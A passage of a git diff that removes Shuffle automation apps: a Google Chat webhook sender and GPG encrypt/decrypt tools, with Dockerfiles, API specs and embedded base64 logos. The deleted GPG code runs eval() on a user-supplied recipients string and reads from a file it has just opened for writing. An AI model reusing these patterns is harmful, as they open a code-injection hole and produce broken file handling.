cD+uQHYPzcA++cGYP/cAOyfG0DH/qkBdMZc0swA7J8bgP1zA7B/cgC7XM7UAOyfG4D9cwOwf24A4y5lagDvuJKpAdg/NwD75wZg/9wA7J8bgP1zA7B/bgD2zw3A/rkBfOwCpgZg/9wA7J8bgP1zAzjh4qUG4B+A5AZg/9wA7J8bgP1zA2jbPzUAfwCcG4D9cwOwf24A9o/VFvvnbof9AbA/APYHwP4A+AcgANgfAPsDYH8AnmqzS5UagH8AkxuA/cPWtH/uhuyfvI4/AM3dpP09BNjfPcD+aRu3f/Km7Z/8TbBj/9ztsj8B9k/dWNs/gE/+HPDJU/O3/Pw/HYH/nQKtpguSsObbJ1rtduvYTn/9LUmSJEmSJEmSJEmSJEmSJEmSJEmSJEmSJEmStGL9A/ydrfFzdVRsAAAAAElFTkSuQmCC diff --git a/google-chat/1.0.0/requirements.txt b/google-chat/1.0.0/requirements.txt deleted file mode 100644 index 9d84d358..00000000 --- a/google-chat/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 diff --git a/google-chat/1.0.0/src/app.py b/google-chat/1.0.0/src/app.py deleted file mode 100644 index 059cc754..00000000 --- a/google-chat/1.0.0/src/app.py +++ /dev/null @@ -1,94 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import requests - -from walkoff_app_sdk.app_base import AppBase - - -class GoogleChat(AppBase): - __version__ = "1.0.0" - app_name = "Google Chat" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def send_simple_message(self, webhook_url, message, threadKey=""): - headers = {'Content-Type': 'application/json'} - payload = {'text': str(message)} - # If a thread is specified, add the threakKey query parameter - if threadKey != "": - threadKey = "&threadKey=" + threadKey - r = requests.request("POST", webhook_url+threadKey, - headers=headers, json=payload) - if r.status_code == 200: - data = r.json() - return {"success": True, "results": data} - return {"success": False, "reason": "Bad status code - expecting 200.", "status_code": r.status_code, "response": r.json()} - - def send_card_message(self, webhook_url, message, app="Shuffle", threadKey=""): - headers = {'Content-Type': 'application/json'} - # If a thread is specified, add the threakKey query parameter - if threadKey != "": - threadKey = "&threadKey=" + threadKey - # some custom conditions for different card style - # Default is Shuffle - if app == "PrismaCloud": - title = "Prisma Cloud" - imageUrl = "https://pan.dev/img/prismalogo.png" - elif app == "TheHive": - title = "TheHive" - imageUrl = "https://docs.thehive-project.org/images/thehive.png" - elif app == "CVE": - title = "CVE" - imageUrl = "https://pbs.twimg.com/profile_images/1334143546656493570/HgSlWtjG_400x400.jpg" - elif app == "AWSWAF": - title = "AWS WAF" - imageUrl = "https://seeklogo.com/images/A/aws-waf-web-application-firewall-logo-03144CA778-seeklogo.com.png" - elif app == "Splunk": - title = "Splunk" - imageUrl = "https://www.cb1security.com/wp-content/uploads/2018/09/Splunk-Logo.png" - else: - title = "Shuffle" - imageUrl = "https://pbs.twimg.com/profile_images/1294997017622536193/xIv5yf0g.jpg" - # Card-style default payload - payload = { - "cards": [ - { - "header": { - "title": title, - "imageUrl": imageUrl, - "imageStyle": "IMAGE" - }, - "sections": [ - { - "widgets": [ - { - "textParagraph": { - "text": str(message) - } - } - ] - } - ] - } - ] - } - r = requests.request("POST", webhook_url+threadKey, - headers=headers, json=payload) - if r.status_code == 200: - data = r.json() - return {"success": True, "results": data} - return {"success": False, "reason": "Bad status code - expecting 200.", "status_code": r.status_code, "response": r.json()} - - -if __name__ == "__main__": - GoogleChat.run() diff --git a/gpg-tools/1.0.0/Dockerfile b/gpg-tools/1.0.0/Dockerfile deleted file mode 100644 index 370fb0d4..00000000 --- a/gpg-tools/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -RUN apk --no-cache add --update gnupg - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/gpg-tools/1.0.0/api.yaml b/gpg-tools/1.0.0/api.yaml deleted file mode 100644 index df928cd9..00000000 --- a/gpg-tools/1.0.0/api.yaml +++ /dev/null @@ -1,73 +0,0 @@ -app_version: 1.0.0 -name: Gpg Tools -description: A gpg app for Shuffle -contact_info: - name: "@dadokkio" -authentication: - required: true - parameters: - - name: gpg_home - description: gpg home from /app/local path - required: true - multiline: false - schema: - type: string - - name: always_trust - description: Skip key validation and assume that used keys are always fully trusted. - required: true - options: - - "false" - - "true" - schema: - type: bool -tags: - - Encryption -categories: - - Encryption -actions: - - name: decrypt_file - description: Decrypt file with gpg - parameters: - - name: filedata - description: file to decrypt - required: true - multiline: false - schema: - type: file - - name: output_name - description: output name - required: true - multiline: false - schema: - type: string - - name: passphrase - description: passphrase to use for decryption - required: true - multiline: false - schema: - type: string - - name: encrypt_file - description: Encrypt file with gpg - parameters: - - name: filedata - description: file to encrypt - required: true - multiline: false - schema: - type: file - - name: output_name - description: output name - required: true - multiline: false - schema: - type: string - - name: recipients - description: list of key fingerprints - required: true - multiline: false - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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 diff --git a/gpg-tools/1.0.0/docker-compose.yml b/gpg-tools/1.0.0/docker-compose.yml deleted file mode 100644 index 5ce33bfa..00000000 --- a/gpg-tools/1.0.0/docker-compose.yml +++ /dev/null @@ -1,20 +0,0 @@ -version: "3.4" -services: - hello_world: - build: - context: . - dockerfile: Dockerfile - # image: walkoff_registry:5000/walkoff_app_HelloWorld-v1-0 - deploy: - mode: replicated - replicas: 10 - restart_policy: - condition: none - restart: "no" - secrets: - - secret1 -secrets: - secret1: - file: ./secret_data - labels: - foo: bar diff --git a/gpg-tools/1.0.0/requirements.txt b/gpg-tools/1.0.0/requirements.txt deleted file mode 100644 index e5ff88aa..00000000 --- a/gpg-tools/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -python-gnupg==0.4.6 -requests==2.25.1 \ No newline at end of file diff --git a/gpg-tools/1.0.0/src/app.py b/gpg-tools/1.0.0/src/app.py deleted file mode 100644 index 7db1c28b..00000000 --- a/gpg-tools/1.0.0/src/app.py +++ /dev/null @@ -1,107 +0,0 @@ -import os -import socket -import asyncio -import time -import random -import json -import subprocess -import requests -import tempfile -import gnupg - - -from walkoff_app_sdk.app_base import AppBase - - -class Gpg(AppBase): - """ - An example of a Walkoff App. - Inherit from the AppBase class to have Redis, logging, and console logging set up behind the scenes. - """ - - __version__ = "1.0.0" - app_name = "Gpg Tools" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def decrypt_file( - self, gpg_home, always_trust, filedata, output_name, passphrase - ): - if filedata["success"] == False: - return "Error managing files." - always_trust = True if always_trust.lower() == "true" else False - - gpg = gnupg.GPG(gnupghome=os.path.join("/app/local/", gpg_home)) - gpg.decrypt_file( - filedata["data"], - passphrase=passphrase, - output=output_name, - always_trust=always_trust, - ) - - with open(output_name, "wb") as f: - data = f.read() - - file_id = self.set_files([{"filename": output_name, "data": data}]) - if len(file_id) == 1: - file_id = file_id[0] - return {"success": True, "id": file_id} - - def encrypt_file( - self, - gpg_home, - always_trust, - filedata, - output_name, - recipients, - ): - if filedata["success"] == False: - return "Error managing files." - - if type(recipients) != list: - try: - recipients = eval(recipients) - except SyntaxError: - return "Recipients must be a list." - - always_trust = True if always_trust.lower() == "true" else False - - print( - "Using:\n\thome: {}\n\trecipients: {}\n\ttrust: {}".format( - os.path.join("/app/local/", gpg_home), recipients, always_trust - ) - ) - - gpg = gnupg.GPG(gnupghome=os.path.join("/app/local/", gpg_home), gpgbinary="/usr/bin/gpg") - - with tempfile.NamedTemporaryFile(delete=False) as tmpfile: - with open(tmpfile.name, "wb") as f: - tmpfile.write(filedata["data"]) - - gpg.encrypt_file( - open(tmpfile.name, "r"), - recipients=recipients, - output=output_name, - always_trust=always_trust, - ) - - os.unlink(tmpfile.name) - - with open(output_name, "r") as f: - data = f.read() - - file_id = self.set_files([{"filename": output_name, "data": data}]) - if len(file_id) == 1: - file_id = file_id[0] - return {"success": True, "id": file_id} - - -if __name__ == "__main__": - Gpg.run() diff --git a/gpg-tools/1.0.0/src/local/.gitignore b/gpg-tools/1.0.0/src/local/.gitignore deleted file mode 100644 index 94548af5..00000000 --- a/gpg-tools/1.0.0/src/local/.gitignore +++ /dev/null @@ -1,3 +0,0 @@ -* -*/ -!.gitignore diff --git a/gpg-tools/1.1.0/Dockerfile b/gpg-tools/1.1.0/Dockerfile deleted file mode 100644 index 370fb0d4..00000000 --- a/gpg-tools/1.1.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -RUN apk --no-cache add --update gnupg - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/gpg-tools/1.1.0/api.yaml b/gpg-tools/1.1.0/api.yaml deleted file mode 100644 index 1a1ba296..00000000 --- a/gpg-tools/1.1.0/api.yaml +++ /dev/null @@ -1,124 +0,0 @@ -app_version: 1.1.0 -name: Gpg Tools -description: A gpg app for Shuffle -contact_info: - name: "@deb-alex" -authentication: - required: true - parameters: - - name: zip_file_id - description: FileID for the ZIP file containing the GNUPG home directory - required: true - multiline: false - schema: - type: string - - name: password - description: Password to use for key store decryption - required: true - multiline: false - schema: - type: string -tags: - - Encryption -categories: - - Encryption -actions: - - name: encrypt_text - description: Encrypt text with gpg - parameters: - - name: clear_text - description: Clear text to encrypt - required: true - multiline: false - schema: - type: string - - name: recipients - description: List of key fingerprints separated by comma (,) - required: true - multiline: false - schema: - type: string - - name: always_trust - description: Skip key validation and assume that used keys are always fully trusted. - required: true - options: - - "false" - - "true" - schema: - type: bool - - - name: decrypt_text - description: Decrypt text with gpg - parameters: - - name: encrypted_text - description: Encrypted text message to decrypt - required: true - multiline: false - schema: - type: string - - name: always_trust - description: Skip key validation and assume that used keys are always fully trusted. - required: true - options: - - "false" - - "true" - schema: - type: bool - - - name: encrypt_file - description: Encrypt file with gpg - parameters: - - name: file_id - description: FileID of the clear text file to encrypt - required: true - multiline: false - schema: - type: file - - name: output_name - description: Name of the encrypted output file - required: true - multiline: 